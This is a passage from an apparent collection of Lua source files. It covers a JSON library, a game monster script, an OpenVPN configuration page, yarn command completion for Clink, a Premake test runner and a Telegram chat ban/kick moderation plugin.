start) then return grok_object(self, text, start, etc) elseif text:find('^%[', start) then return grok_array(self, text, start, etc) elseif text:find('^true', start) then return true, start + 4 elseif text:find('^false', start) then return false, start + 5 elseif text:find('^null', start) then return nil, start + 4 else self:onDecodeError("can't parse JSON", text, start, etc) end end function OBJDEF:decode(text, etc) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onDecodeError("JSON:decode must be called in method format", nil, nil, etc) end if text == nil then self:onDecodeOfNilError(string.format("nil passed to JSON:decode()"), nil, nil, etc) elseif type(text) ~= 'string' then self:onDecodeError(string.format("expected string argument to JSON:decode(), got %s", type(text)), nil, nil, etc) end if text:match('^%s*$') then return nil end if text:match('^%s*<') then -- Can't be JSON... we'll assume it's HTML self:onDecodeOfHTMLError(string.format("html passed to JSON:decode()"), text, nil, etc) end -- -- Ensure that it's not UTF-32 or UTF-16. -- Those are perfectly valid encodings for JSON (as per RFC 4627 section 3), -- but this package can't handle them. -- if text:sub(1,1):byte() == 0 or (text:len() >= 2 and text:sub(2,2):byte() == 0) then self:onDecodeError("JSON package groks only UTF-8, sorry", text, nil, etc) end local success, value = pcall(grok_one, self, text, 1, etc) if success then return value else -- if JSON:onDecodeError() didn't abort out of the pcall, we'll have received the error message here as "value", so pass it along as an assert. if self.assert then self.assert(false, value) else assert(false, value) end -- and if we're still here, return a nil and throw the error message on as a second arg return nil, value end end local function backslash_replacement_function(c) if c == "\n" then return "\\n" elseif c == "\r" then return "\\r" elseif c == "\t" then return "\\t" elseif c == "\b" then return "\\b" elseif c == "\f" then return "\\f" elseif c == '"' then return '\\"' elseif c == '\\' then return '\\\\' else return string.format("\\u%04x", c:byte()) end end local chars_to_be_escaped_in_JSON_string = '[' .. '"' -- class sub-pattern to match a double quote .. '%\\' -- class sub-pattern to match a backslash .. '%z' -- class sub-pattern to match a null .. '\001' .. '-' .. '\031' -- class sub-pattern to match control characters .. ']' local function json_string_literal(value) local newval = value:gsub(chars_to_be_escaped_in_JSON_string, backslash_replacement_function) return '"' .. newval .. '"' end local function object_or_array(self, T, etc) -- -- We need to inspect all the keys... if there are any strings, we'll convert to a JSON -- object. If there are only numbers, it's a JSON array. -- -- If we'll be converting to a JSON object, we'll want to sort the keys so that the -- end result is deterministic. -- local string_keys = { } local number_keys = { } local number_keys_must_be_strings = false local maximum_number_key for key in pairs(T) do if type(key) == 'string' then table.insert(string_keys, key) elseif type(key) == 'number' then table.insert(number_keys, key) if key <= 0 or key >= math.huge then number_keys_must_be_strings = true elseif not maximum_number_key or key > maximum_number_key then maximum_number_key = key end else self:onEncodeError("can't encode table with a key of type " .. type(key), etc) end end if #string_keys == 0 and not number_keys_must_be_strings then -- -- An empty table, or a numeric-only array -- if #number_keys > 0 then return nil, maximum_number_key -- an array elseif tostring(T) == "JSON array" then return nil elseif tostring(T) == "JSON object" then return { } else -- have to guess, so we'll pick array, since empty arrays are likely more common than empty objects return nil end end table.sort(string_keys) local map if #number_keys > 0 then -- -- If we're here then we have either mixed string/number keys, or numbers inappropriate for a JSON array -- It's not ideal, but we'll turn the numbers into strings so that we can at least create a JSON object. -- if self.noKeyConversion then self:onEncodeError("a table with both numeric and string keys could be an object or array; aborting", etc) end -- -- Have to make a shallow copy of the source table so we can remap the numeric keys to be strings -- map = { } for key, val in pairs(T) do map[key] = val end table.sort(number_keys) -- -- Throw numeric keys in there as strings -- for _, number_key in ipairs(number_keys) do local string_key = tostring(number_key) if map[string_key] == nil then table.insert(string_keys , string_key) map[string_key] = T[number_key] else self:onEncodeError("conflict converting table with mixed-type keys into a JSON object: key " .. number_key .. " exists both as a string and a number.", etc) end end end return string_keys, nil, map end -- -- Encode -- -- 'options' is nil, or a table with possible keys: -- pretty -- if true, return a pretty-printed version -- indent -- a string (usually of spaces) used to indent each nested level -- align_keys -- if true, align all the keys when formatting a table -- local encode_value -- must predeclare because it calls itself function encode_value(self, value, parents, etc, options, indent) if value == nil then return 'null' elseif type(value) == 'string' then return json_string_literal(value) elseif type(value) == 'number' then if value ~= value then -- -- NaN (Not a Number). -- JSON has no NaN, so we have to fudge the best we can. This should really be a package option. -- return "null" elseif value >= math.huge then -- -- Positive infinity. JSON has no INF, so we have to fudge the best we can. This should -- really be a package option. Note: at least with some implementations, positive infinity -- is both ">= math.huge" and "<= -math.huge", which makes no sense but that's how it is. -- Negative infinity is properly "<= -math.huge". So, we must be sure to check the ">=" -- case first. -- return "1e+9999" elseif value <= -math.huge then -- -- Negative infinity. -- JSON has no INF, so we have to fudge the best we can. This should really be a package option. -- return "-1e+9999" else return tostring(value) end elseif type(value) == 'boolean' then return tostring(value) elseif type(value) ~= 'table' then self:onEncodeError("can't convert " .. type(value) .. " to JSON", etc) else -- -- A table to be converted to either a JSON object or array. -- local T = value if type(options) ~= 'table' then options = {} end if type(indent) ~= 'string' then indent = "" end if parents[T] then self:onEncodeError("table " .. tostring(T) .. " is a child of itself", etc) else parents[T] = true end local result_value local object_keys, maximum_number_key, map = object_or_array(self, T, etc) if maximum_number_key then -- -- An array... -- local ITEMS = { } for i = 1, maximum_number_key do table.insert(ITEMS, encode_value(self, T[i], parents, etc, options, indent)) end if options.pretty then result_value = "[ " .. table.concat(ITEMS, ", ") .. " ]" else result_value = "[" .. table.concat(ITEMS, ",") .. "]" end elseif object_keys then -- -- An object -- local TT = map or T if options.pretty then local KEYS = { } local max_key_length = 0 for _, key in ipairs(object_keys) do local encoded = encode_value(self, tostring(key), parents, etc, options, indent) if options.align_keys then max_key_length = math.max(max_key_length, #encoded) end table.insert(KEYS, encoded) end local key_indent = indent .. tostring(options.indent or "") local subtable_indent = key_indent .. string.rep(" ", max_key_length) .. (options.align_keys and " " or "") local FORMAT = "%s%" .. string.format("%d", max_key_length) .. "s: %s" local COMBINED_PARTS = { } for i, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, subtable_indent) table.insert(COMBINED_PARTS, string.format(FORMAT, key_indent, KEYS[i], encoded_val)) end result_value = "{\n" .. table.concat(COMBINED_PARTS, ",\n") .. "\n" .. indent .. "}" else local PARTS = { } for _, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, indent) local encoded_key = encode_value(self, tostring(key), parents, etc, options, indent) table.insert(PARTS, string.format("%s:%s", encoded_key, encoded_val)) end result_value = "{" .. table.concat(PARTS, ",") .. "}" end else -- -- An empty array/object... we'll treat it as an array, though it should really be an option -- result_value = "[]" end parents[T] = false return result_value end end function OBJDEF:encode(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode must be called in method format", etc) end return encode_value(self, value, {}, etc, options or nil) end function OBJDEF:encode_pretty(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode_pretty must be called in method format", etc) end return encode_value(self, value, {}, etc, options or default_pretty_options) end function OBJDEF.__tostring() return "JSON encode/decode package" end OBJDEF.__index = OBJDEF function OBJDEF:new(args) local new = { } if args then for key, val in pairs(args) do new[key] = val end end return setmetatable(new, OBJDEF) end return OBJDEF:new() -- -- Version history: -- -- 20141223.14 The encode_pretty() routine produced fine results for small datasets, but isn't really -- appropriate for anything large, so with help from Alex Aulbach I've made the encode routines -- more flexible, and changed the default encode_pretty() to be more generally useful. -- -- Added a third 'options' argument to the encode() and encode_pretty() routines, to control -- how the encoding takes place. -- -- Updated docs to add assert() call to the loadfile() line, just as good practice so that -- if there is a problem loading JSON.lua, the appropriate error message will percolate up. -- -- 20140920.13 Put back (in a way that doesn't cause warnings about unused variables) the author string, -- so that the source of the package, and its version number, are visible in compiled copies. -- -- 20140911.12 Minor lua cleanup. -- Fixed internal reference to 'JSON.noKeyConversion' to reference 'self' instead of 'JSON'. -- (Thanks to SmugMug's David Parry for these.) -- -- 20140418.11 JSON nulls embedded within an array were being ignored, such that -- ["1",null,null,null,null,null,"seven"], -- would return -- {1,"seven"} -- It's now fixed to properly return -- {1, nil, nil, nil, nil, nil, "seven"} -- Thanks to "haddock" for catching the error. -- -- 20140116.10 The user's JSON.assert() wasn't always being used. Thanks to "blue" for the heads up. -- -- 20131118.9 Update for Lua 5.3... it seems that tostring(2/1) produces "2.0" instead of "2", -- and this caused some problems. -- -- 20131031.8 Unified the code for encode() and encode_pretty(); they had been stupidly separate, -- and had of course diverged (encode_pretty didn't get the fixes that encode got, so -- sometimes produced incorrect results; thanks to Mattie for the heads up). -- -- Handle encoding tables with non-positive numeric keys (unlikely, but possible). -- -- If a table has both numeric and string keys, or its numeric keys are inappropriate -- (such as being non-positive or infinite), the numeric keys are turned into -- string keys appropriate for a JSON object. So, as before, -- JSON:encode({ "one", "two", "three" }) -- produces the array -- ["one","two","three"] -- but now something with mixed key types like -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- instead of throwing an error produces an object: -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To maintain the prior throw-an-error semantics, set -- JSON.noKeyConversion = true -- -- 20131004.7 Release under a Creative Commons CC-BY license, which I should have done from day one, sorry. -- -- 20130120.6 Comment update: added a link to the specific page on my blog where this code can -- be found, so that folks who come across the code outside of my blog can find updates -- more easily. -- -- 20111207.5 Added support for the 'etc' arguments, for better error reporting. -- -- 20110731.4 More feedback from David Kolf on how to make the tests for Nan/Infinity system independent. -- -- 20110730.3 Incorporated feedback from David Kolf at http://lua-users.org/wiki/JsonModules: -- -- * When encoding lua for JSON, Sparse numeric arrays are now handled by -- spitting out full arrays, such that -- JSON:encode({"one", "two", [10] = "ten"}) -- returns -- ["one","two",null,null,null,null,null,null,null,"ten"] -- -- In 20100810.2 and earlier, only up to the first non-null value would have been retained. -- -- * When encoding lua for JSON, numeric value NaN gets spit out as null, and infinity as "1+e9999". -- Version 20100810.2 and earlier created invalid JSON in both cases. -- -- * Unicode surrogate pairs are now detected when decoding JSON. -- -- 20100810.2 added some checking to ensure that an invalid Unicode character couldn't leak in to the UTF-8 encoding -- -- 20100731.1 initial public release --
gpl-2.0
LaFamiglia/Illarion-Content
monster/race_40_wolf/id_403_grey_tail.lua
1
1099
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] --ID 403, Grey Tail, Level: 3, Armourtype: light, Weapontype: wrestling local base = require("monster.base.base") local wolves = require("monster.race_40_wolf.base") local M = wolves.generateCallbacks() local orgOnSpawn = M.onSpawn function M.onSpawn(monster) if orgOnSpawn ~= nil then orgOnSpawn(monster) end base.setColor{monster = monster, target = base.SKIN_COLOR, red = 200, green = 200, blue = 220} end return M
agpl-3.0
qq779089973/ramod
luci/applications/luci-openvpn/luasrc/model/cbi/openvpn-basic.lua
71
3274
--[[ LuCI - Lua Configuration Interface Copyright 2008 Steven Barth <steven@midlink.org> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- require("luci.ip") require("luci.model.uci") local basicParams = { -- -- Widget, Name, Default(s), Description -- { ListValue, "verb", { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 }, translate("Set output verbosity") }, { Value, "nice",0, translate("Change process priority") }, { Value,"port",1194, translate("TCP/UDP port # for both local and remote") }, { ListValue,"dev_type",{ "tun", "tap" }, translate("Type of used device") }, { Flag,"tun_ipv6",0, translate("Make tun device IPv6 capable") }, { Value,"ifconfig","10.200.200.3 10.200.200.1", translate("Set tun/tap adapter parameters") }, { Value,"server","10.200.200.0 255.255.255.0", translate("Configure server mode") }, { Value,"server_bridge","192.168.1.1 255.255.255.0 192.168.1.128 192.168.1.254", translate("Configure server bridge") }, { Flag,"nobind",0, translate("Do not bind to local address and port") }, { Flag,"comp_lzo",0, translate("Use fast LZO compression") }, { Value,"keepalive","10 60", translate("Helper directive to simplify the expression of --ping and --ping-restart in server mode configurations") }, { ListValue,"proto",{ "udp", "tcp" }, translate("Use protocol") }, { Flag,"client",0, translate("Configure client mode") }, { Flag,"client_to_client",0, translate("Allow client-to-client traffic") }, { DynamicList,"remote","vpnserver.example.org", translate("Remote host name or ip address") }, { FileUpload,"secret","/etc/openvpn/secret.key 1", translate("Enable Static Key encryption mode (non-TLS)") }, { FileUpload,"pkcs12","/etc/easy-rsa/keys/some-client.pk12", translate("PKCS#12 file containing keys") }, { FileUpload,"ca","/etc/easy-rsa/keys/ca.crt", translate("Certificate authority") }, { FileUpload,"dh","/etc/easy-rsa/keys/dh1024.pem", translate("Diffie Hellman parameters") }, { FileUpload,"cert","/etc/easy-rsa/keys/some-client.crt", translate("Local certificate") }, { FileUpload,"key","/etc/easy-rsa/keys/some-client.key", translate("Local private key") }, } local m = Map("openvpn") local p = m:section( SimpleSection ) p.template = "openvpn/pageswitch" p.mode = "basic" p.instance = arg[1] local s = m:section( NamedSection, arg[1], "openvpn" ) for _, option in ipairs(basicParams) do local o = s:option( option[1], option[2], option[2], option[4] ) o.optional = true if option[1] == DummyValue then o.value = option[3] else if option[1] == DynamicList then o.cast = nil function o.cfgvalue(...) local val = AbstractValue.cfgvalue(...) return ( val and type(val) ~= "table" ) and { val } or val end end if type(option[3]) == "table" then if o.optional then o:value("", "-- remove --") end for _, v in ipairs(option[3]) do v = tostring(v) o:value(v) end o.default = tostring(option[3][1]) else o.default = tostring(option[3]) end end for i=5,#option do if type(option[i]) == "table" then o:depends(option[i]) end end end return m
mit
vladimir-kotikov/clink-completions
yarn.lua
1
6737
-- preamble: common routines local JSON = require("JSON") -- silence JSON parsing errors function JSON:assert () end -- luacheck: no unused args local w = require('tables').wrap local matchers = require('matchers') local color = require('color') local clink_version = require('clink_version') --- -- Queries config options value using 'yarn config get' call -- @param {string} config_entry Config option name -- @return {string} Config value for specific option or -- empty string in case of any error --- local function get_yarn_config_value (config_entry) assert(config_entry and type(config_entry) == "string" and #config_entry > 0, "get_yarn_config_value: config_entry param should be non-empty string") local proc = io.popen("yarn config get "..config_entry.." 2>nul") if not proc then return "" end local value = proc:read() proc:close() return value or nil end local modules = matchers.create_dirs_matcher('node_modules/*') local globals_location = nil local global_modules_matcher = nil local function global_modules(token) -- If we already have matcher then just return it if global_modules_matcher then return global_modules_matcher(token) end -- If token starts with . or .. or has path delimiter then return empty -- result and do not create a matcher so only fs paths will be completed if (token:match('^%.(%.)?') or token:match('[%\\%/]+')) then return {} end -- otherwise try to get cache location and return empty table if failed globals_location = globals_location or get_yarn_config_value("prefix") if not globals_location then return {} end -- Create a new matcher, save it in module's variable for further usage and return it global_modules_matcher = matchers.create_dirs_matcher(globals_location..'/node_modules/*') return global_modules_matcher(token) end -------------------------------------------------------------------------------- -- Let `yarn run` match files in bin folder (see #74 for why) and package.json -- scripts. When using newer versions of Clink, it is also able to colorize the -- matches. -- Reads package.json in current directory and extracts all "script" commands defined local function package_scripts() -- Read package.json first local package_json = io.open('package.json') -- If there is no such file, then close handle and return if package_json == nil then return w() end -- Read the whole file contents local package_contents = package_json:read("*a") package_json:close() return JSON:decode(package_contents).scripts end local parser = clink.arg.new_parser -- end preamble local yarn_run_matches local yarn_run_matches_parser if not clink_version.supports_display_filter_description then yarn_run_matches = function () local bins = w(matchers.create_files_matcher('node_modules/.bin/*.')('')) return bins:concat(w(package_scripts()):keys()) end yarn_run_matches_parser = parser({yarn_run_matches}) else settings.add('color.yarn.module', 'bright green', 'Color for yarn run local module', 'Used when Clink displays yarn run local module completions.') settings.add('color.yarn.script', 'bright blue', 'Color for yarn run project.json script', 'Used when Clink displays yarn run project.json script completions.') yarn_run_matches = function () local bin_matches = w(os.globfiles('node_modules/.bin/*.')) local bin_index = {} for _, m in ipairs(bin_matches) do bin_index[m] = true end bin_matches = bin_matches:map(function (m) return { match=m } end) local scripts = w(package_scripts()) if clink_version.supports_query_rl_var and rl.isvariabletrue('colored-stats') then clink.ondisplaymatches(function (matches) local bc = color.get_clink_color('color.yarn.module') local sc = color.get_clink_color('color.yarn.script') return w(matches):map(function (match) local m = match.match if scripts[m] then match.display = sc..m elseif bin_index[m] then match.display = bc..m end return match end) end) end return bin_matches:concat(scripts:keys()) end yarn_run_matches_parser = clink.argmatcher():addarg({yarn_run_matches}) end local add_parser = parser( "--dev", "-D", "--exact", "-E", "--optional", "-O", "--peer", "-P", "--tilde", "-T" ) local yarn_parser = parser({ "add"..add_parser, "bin", "cache"..parser({ "clean", "dir", "ls" }), "check"..parser("--integrity"), "clean", "config"..parser({ "delete", "get", "list", "set" }), "generate-lock-entry", "global"..parser({ "add"..add_parser, "bin", "ls", "remove"..parser({modules}), "upgrade"..parser({modules}) }), "help", "info", "init"..parser("--yes", "-y"), "install", "licenses"..parser({"generate-disclaimer", "ls"}), "link"..parser({matchers.files, global_modules}), "login", "logout", "ls"..parser("--depth"), "outdated"..parser({modules}), "owner"..parser({"add", "ls", "rm"}), "pack"..parser("--filename", "-f"), "publish"..parser( "--access"..parser({"public", "restricted"}), "--message", "--new-version", "--no-git-tag-version", "--tag" ), "remove"..parser({modules}), "run"..yarn_run_matches_parser, "self-update", "tag"..parser({"add", "ls", "rm"}), "team"..parser({"add", "create", "destroy", "ls", "rm"}), "test", "unlink"..parser({modules}), "upgrade"..parser({modules}, "--ignore-engines"), "upgrade-interactive", "version"..parser( "--message", "--new-version", "--no-git-tag-version" ), "versions", "why"..parser({modules}), yarn_run_matches, }, "-h", "-v", "--cache-folder", "--flat", "--force", "--global-folder", "--har", "--help", "--https-proxy", "--ignore-engines", "--ignore-optional", "--ignore-platform", "--ignore-scripts", "--json", "--modules-folder", "--mutex", "--no-bin-links", "--no-lockfile", "--offline", "--no-emoji", "--no-progress", "--prefer-offline", "--proxy", "--pure-lockfile", "--prod", "--production", "--strict-semver", "--version" ) clink.arg.register_parser("yarn", yarn_parser)
mit
soundsrc/premake-core
modules/self-test/self-test.lua
8
1739
--- -- self-test/self-test.lua -- -- An automated test framework for Premake and its add-on modules. -- -- Author Jason Perkins -- Copyright (c) 2008-2016 Jason Perkins and the Premake project. --- local p = premake p.modules.self_test = {} local m = p.modules.self_test m._VERSION = p._VERSION newaction { trigger = "self-test", shortname = "Test Premake", description = "Run Premake's own local unit test suites", execute = function() m.executeSelfTest() end } newoption { trigger = "test-only", value = "suite[.test]", description = "For self-test action; run specific suite or test" } function m.executeSelfTest() m.detectDuplicateTests = true m.loadTestsFromManifests() m.detectDuplicateTests = false local test, err = m.getTestWithIdentifier(_OPTIONS["test-only"]) if err then error(err, 0) end local passed, failed = m.runTest(test) if failed > 0 then printf("\n %d FAILED TEST%s", failed, iif(failed > 1, "S", "")) os.exit(5) end end function m.loadTestsFromManifests() local mask = path.join(_MAIN_SCRIPT_DIR, "**/tests/_tests.lua") local manifests = os.matchfiles(mask) -- TODO: "**" should also match "." but doesn't currently local top = path.join(_MAIN_SCRIPT_DIR, "tests/_tests.lua") if os.isfile(top) then table.insert(manifests, 1, top) end for i = 1, #manifests do local manifest = manifests[i] _TESTS_DIR = path.getdirectory(manifest) local files = dofile(manifest) for i = 1, #files do local filename = path.join(_TESTS_DIR, files[i]) dofile(filename) end end end dofile("test_assertions.lua") dofile("test_declare.lua") dofile("test_helpers.lua") dofile("test_runner.lua") return m
bsd-3-clause
650ia/RaOne
plugins/banhammer.lua
1085
11557
local function pre_process(msg) -- SERVICE MESSAGE if msg.action and msg.action.type then local action = msg.action.type -- Check if banned user joins chat by link if action == 'chat_add_user_link' then local user_id = msg.from.id print('Checking invited user '..user_id) local banned = is_banned(user_id, msg.to.id) if banned or is_gbanned(user_id) then -- Check it with redis print('User is banned!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] is banned and kicked ! ")-- Save to logs kick_user(user_id, msg.to.id) end end -- Check if banned user joins chat if action == 'chat_add_user' then local user_id = msg.action.user.id print('Checking invited user '..user_id) local banned = is_banned(user_id, msg.to.id) if banned or is_gbanned(user_id) then -- Check it with redis print('User is banned!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] added a banned user >"..msg.action.user.id)-- Save to logs kick_user(user_id, msg.to.id) local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id redis:incr(banhash) local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id local banaddredis = redis:get(banhash) if banaddredis then if tonumber(banaddredis) == 4 and not is_owner(msg) then kick_user(msg.from.id, msg.to.id)-- Kick user who adds ban ppl more than 3 times end if tonumber(banaddredis) == 8 and not is_owner(msg) then ban_user(msg.from.id, msg.to.id)-- Kick user who adds ban ppl more than 7 times local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id redis:set(banhash, 0)-- Reset the Counter end end end if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['settings'] then if data[tostring(msg.to.id)]['settings']['lock_bots'] then bots_protection = data[tostring(msg.to.id)]['settings']['lock_bots'] end end end if msg.action.user.username ~= nil then if string.sub(msg.action.user.username:lower(), -3) == 'bot' and not is_momod(msg) and bots_protection == "yes" then --- Will kick bots added by normal users local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] added a bot > @".. msg.action.user.username)-- Save to logs kick_user(msg.action.user.id, msg.to.id) end end end -- No further checks return msg end -- banned user is talking ! if msg.to.type == 'chat' then local data = load_data(_config.moderation.data) local group = msg.to.id local texttext = 'groups' --if not data[tostring(texttext)][tostring(msg.to.id)] and not is_realm(msg) then -- Check if this group is one of my groups or not --chat_del_user('chat#id'..msg.to.id,'user#id'..our_id,ok_cb,false) --return --end local user_id = msg.from.id local chat_id = msg.to.id local banned = is_banned(user_id, chat_id) if banned or is_gbanned(user_id) then -- Check it with redis print('Banned user talking!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] banned user is talking !")-- Save to logs kick_user(user_id, chat_id) msg.text = '' end end return msg end local function kick_ban_res(extra, success, result) --vardump(result) --vardump(extra) local member_id = result.id local user_id = member_id local member = result.username local chat_id = extra.chat_id local from_id = extra.from_id local get_cmd = extra.get_cmd local receiver = "chat#id"..chat_id if get_cmd == "kick" then if member_id == from_id then return send_large_msg(receiver, "You can't kick yourself") end if is_momod2(member_id, chat_id) and not is_admin2(sender) then return send_large_msg(receiver, "You can't kick mods/owner/admins") end return kick_user(member_id, chat_id) elseif get_cmd == 'ban' then if is_momod2(member_id, chat_id) and not is_admin2(sender) then return send_large_msg(receiver, "You can't ban mods/owner/admins") end send_large_msg(receiver, 'User @'..member..' ['..member_id..'] banned') return ban_user(member_id, chat_id) elseif get_cmd == 'unban' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] unbanned') local hash = 'banned:'..chat_id redis:srem(hash, member_id) return 'User '..user_id..' unbanned' elseif get_cmd == 'banall' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] globally banned') return banall_user(member_id, chat_id) elseif get_cmd == 'unbanall' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] un-globally banned') return unbanall_user(member_id, chat_id) end end local function run(msg, matches) if matches[1]:lower() == 'id' then if msg.to.type == "user" then return "Bot ID: "..msg.to.id.. "\n\nYour ID: "..msg.from.id end if type(msg.reply_id) ~= "nil" then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] used /id ") id = get_message(msg.reply_id,get_message_callback_id, false) elseif matches[1]:lower() == 'id' then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] used /id ") return "Group ID for " ..string.gsub(msg.to.print_name, "_", " ").. ":\n\n"..msg.to.id end end if matches[1]:lower() == 'kickme' then-- /kickme local receiver = get_receiver(msg) if msg.to.type == 'chat' then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] left using kickme ")-- Save to logs chat_del_user("chat#id"..msg.to.id, "user#id"..msg.from.id, ok_cb, false) end end if not is_momod(msg) then -- Ignore normal users return end if matches[1]:lower() == "banlist" then -- Ban list ! local chat_id = msg.to.id if matches[2] and is_admin(msg) then chat_id = matches[2] end return ban_list(chat_id) end if matches[1]:lower() == 'ban' then-- /ban if type(msg.reply_id)~="nil" and is_momod(msg) then if is_admin(msg) then local msgr = get_message(msg.reply_id,ban_by_reply_admins, false) else msgr = get_message(msg.reply_id,ban_by_reply, false) end end local user_id = matches[2] local chat_id = msg.to.id if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return end if not is_admin(msg) and is_momod2(matches[2], msg.to.id) then return "you can't ban mods/owner/admins" end if tonumber(matches[2]) == tonumber(msg.from.id) then return "You can't ban your self !" end local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] baned user ".. matches[2]) ban_user(user_id, chat_id) else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'ban', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'unban' then -- /unban if type(msg.reply_id)~="nil" and is_momod(msg) then local msgr = get_message(msg.reply_id,unban_by_reply, false) end local user_id = matches[2] local chat_id = msg.to.id local targetuser = matches[2] if string.match(targetuser, '^%d+$') then local user_id = targetuser local hash = 'banned:'..chat_id redis:srem(hash, user_id) local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] unbaned user ".. matches[2]) return 'User '..user_id..' unbanned' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'unban', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'kick' then if type(msg.reply_id)~="nil" and is_momod(msg) then if is_admin(msg) then local msgr = get_message(msg.reply_id,Kick_by_reply_admins, false) else msgr = get_message(msg.reply_id,Kick_by_reply, false) end end if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return end if not is_admin(msg) and is_momod2(matches[2], msg.to.id) then return "you can't kick mods/owner/admins" end if tonumber(matches[2]) == tonumber(msg.from.id) then return "You can't kick your self !" end local user_id = matches[2] local chat_id = msg.to.id name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] kicked user ".. matches[2]) kick_user(user_id, chat_id) else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'kick', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if not is_admin(msg) then return end if matches[1]:lower() == 'banall' then -- Global ban if type(msg.reply_id) ~="nil" and is_admin(msg) then return get_message(msg.reply_id,banall_by_reply, false) end local user_id = matches[2] local chat_id = msg.to.id local targetuser = matches[2] if string.match(targetuser, '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return false end banall_user(targetuser) return 'User ['..user_id..' ] globally banned' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'banall', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'unbanall' then -- Global unban local user_id = matches[2] local chat_id = msg.to.id if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return false end unbanall_user(user_id) return 'User ['..user_id..' ] removed from global ban list' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'unbanall', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == "gbanlist" then -- Global ban list return banall_list() end end return { patterns = { "^[!/]([Bb]anall) (.*)$", "^[!/]([Bb]anall)$", "^[!/]([Bb]anlist) (.*)$", "^[!/]([Bb]anlist)$", "^[!/]([Gg]banlist)$", "^[!/]([Bb]an) (.*)$", "^[!/]([Kk]ick)$", "^[!/]([Uu]nban) (.*)$", "^[!/]([Uu]nbanall) (.*)$", "^[!/]([Uu]nbanall)$", "^[!/]([Kk]ick) (.*)$", "^[!/]([Kk]ickme)$", "^[!/]([Bb]an)$", "^[!/]([Uu]nban)$", "^[!/]([Ii]d)$", "^!!tgservice (.+)$" }, run = run, pre_process = pre_process }
gpl-2.0
nort-ir/nort
plugins/banhammer.lua
1085
11557
local function pre_process(msg) -- SERVICE MESSAGE if msg.action and msg.action.type then local action = msg.action.type -- Check if banned user joins chat by link if action == 'chat_add_user_link' then local user_id = msg.from.id print('Checking invited user '..user_id) local banned = is_banned(user_id, msg.to.id) if banned or is_gbanned(user_id) then -- Check it with redis print('User is banned!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] is banned and kicked ! ")-- Save to logs kick_user(user_id, msg.to.id) end end -- Check if banned user joins chat if action == 'chat_add_user' then local user_id = msg.action.user.id print('Checking invited user '..user_id) local banned = is_banned(user_id, msg.to.id) if banned or is_gbanned(user_id) then -- Check it with redis print('User is banned!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] added a banned user >"..msg.action.user.id)-- Save to logs kick_user(user_id, msg.to.id) local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id redis:incr(banhash) local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id local banaddredis = redis:get(banhash) if banaddredis then if tonumber(banaddredis) == 4 and not is_owner(msg) then kick_user(msg.from.id, msg.to.id)-- Kick user who adds ban ppl more than 3 times end if tonumber(banaddredis) == 8 and not is_owner(msg) then ban_user(msg.from.id, msg.to.id)-- Kick user who adds ban ppl more than 7 times local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id redis:set(banhash, 0)-- Reset the 